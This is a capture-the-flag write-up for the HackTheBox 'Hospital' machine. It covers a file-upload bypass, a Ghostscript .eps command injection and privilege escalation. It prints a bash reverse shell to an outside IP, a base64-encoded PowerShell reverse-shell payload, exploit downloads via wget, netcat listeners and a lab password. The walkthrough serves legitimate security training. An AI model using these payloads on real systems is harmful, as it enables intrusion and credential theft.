> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-medium/hospital-hackthebox-writeup.md). # Hospital HackTheBox Writeup Hospital HackTheBox Medium Windows machine writeup covering Web Enumeration, Abusing file/ uploads p0wny-shell tool, Cracking Protected Hash Password, File command injection type .eps, with practical {% embed url="" %} {% hint style="warning" %} **Skills:** * Web Enumeration * Abusing file/ uploads p0wny-shell tool * Cracking Protected Hash Password * File command injection type .eps * Domain-Privilege-Escalation {% endhint %} ## Reconnaissance **Workspace Setup:** Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

**VPN Connectivity Check** Check VPN connectivity to ensure stable communication with the target machine.

**Open Port Discovery with Nmap:**/ Enumerate open ports and export the results to the "allPorts" file in the Nmap directory: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.241 -oG allPorts ```

**Analysis of open ports with extractport:**/ Using the extractport function to in a concise format display open ports and copy them to the clipboard.

**Port Version Scan with Nmap :**/ Use Nmap to scan service versions and save the output in the "targeted" file: ```bash nmap -sCV -p22,53,88,135,139,389,443,445,464,593,636,1801,2103,2105,2107,2179,3268,3269,3389,5985,6059,6404,6406,6407,6410,6617,6639,8080,9389 10.10.11.241 -oN targeted ```

**Port 443 interface identification**

**Port 8080 interface identification**

**User creation:** Creating a user to establish potential access to the target machine

## Vulnerability File Upload:

#### Exploitation initiale: Attempt to exploit a file download vulnerability by inserting a malicious PHP file ```php ``` The server automatically rejects upload requests for files with certain extensions.

**Interception with Burp Suite:** Using Burp Suite to intercept and analyze traffic to understand operating errors

#### PHP Extension Modification: Change the file extension from `.php` to `.phar` in the `filename` variable, and make sure the location is successfully accepted

**Summary of Directories:** Using Gobuster to identify directories on a web server and locate storage of uploaded medical images. ```bash gobuster dir -u http://10.10.11.241:8080/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 ```

#### File not interpreted: The contents of a.phar file are not interpreted.

**Use GitHub Tool to Create Shell:** Using a GitHub project tool to bypass PHP file download restrictions and get shell access {% embed url="" %}

**Launching a Reverse Shell:** ```bash /usr/bin/bash -c 'bash -i >& /dev/tcp/10.10.15.18/444 0>&1' ``` Run a shell reverse to establish interactive access to the target machine and get total control.

#### Once you have access to the Linux server, here are the commands to perform for terminal processing: ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ## Privilege Escalation (Linux Server): **Identification of operating system version:**/ Use the `cat /etc/os-release` command to check the system version, note the presence of an old version of Ubuntu ("23.04").

#### **Download script to remove privileges:** Download the script from [GitHub](https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629?source=post_page-----ce86940a895f--------------------------------), which allows privilege escalation: ```bash wget https://raw.githubusercontent.com/g1vi/CVE-2023-2640-CVE-2023-32629/main/exploit.sh ```

#### **Extract hash passwords:** Extract hash passwords from `/etc/shadow` file.

**Password cracking:** Use the John the Ripper tool with a password list known to crack passwords: ```bash john -w:/usr/share/wordlists/rockyou.txt hash.txt ```

## Vulnerability: .eps File Injection #### Test the credentials on the website accessible through port 443.

**Discovered a restricted mailbox:** Discover an email box that wants to receive a design in.eps format.

**Ghostscript operation via.eps file:** Use a [GitHub exploit](https://github.com/jakabakos/CVE-2023-36664-Ghostscript-command-injection/blob/main/CVE_2023_36664_exploit.py) based on [Ghostscript](https://github.com/jakabakos/CVE-2023-36664-Ghostscript-command-injection/blob/main/CVE_2023_36664_exploit.py) to execute malicious code through an `.eps` file extension.

#### Use [RevShells](https://www.revshells.com/) to create the PowerShell payload:

#### Injecting payload into.eps file: Using the command to inject the payload with the shell reverse in the.eps file. {% code fullWidth="true" %} ```bash python3 exploit.py --inject --payload "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AMgAiACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=" --filename file.eps ``` {% endcode %}

#### Listening with rlwrap: Setting the wiretapping with rlwrap to wait for an incoming connection. ```bash rlwrap nc -nlvp 4444 ``` #### Sending mail with malicious EPS file:

#### Discovery of a ghostscript.bat file: Discovery of a ghostscript.bat file containing the password of "drbrown": `chr!$br0wn`

#### First flag user.txt: Discovery and recovery of the first flag user.txt.

## Privilege Escalation Active Directory : #### Privilege Escalation by going to the XAMPP web server.

#### Creating a PHP file: Create a PHP file containing the code "this is a test". ```bash echo "this is a test" > test.php ``` #### Checking the web server: Verify that the web server correctly inserts the PHP file.

#### Reinject the PHP file from the [p0wny-shell](https://github.com/flozz/p0wny-shell) project: {% embed url="" %}

python3 -m http.server 8080

wget http://10.10.16.2:8080/shell.php -o shell.php

#### Copy the [reverse shell](https://www.revshells.com/) payload into the pownyshell terminal:

#### Listening with rlwrap: ```bash rlwrap nc -nlvp 4444 ``` ### root.txt Flag Obtained:

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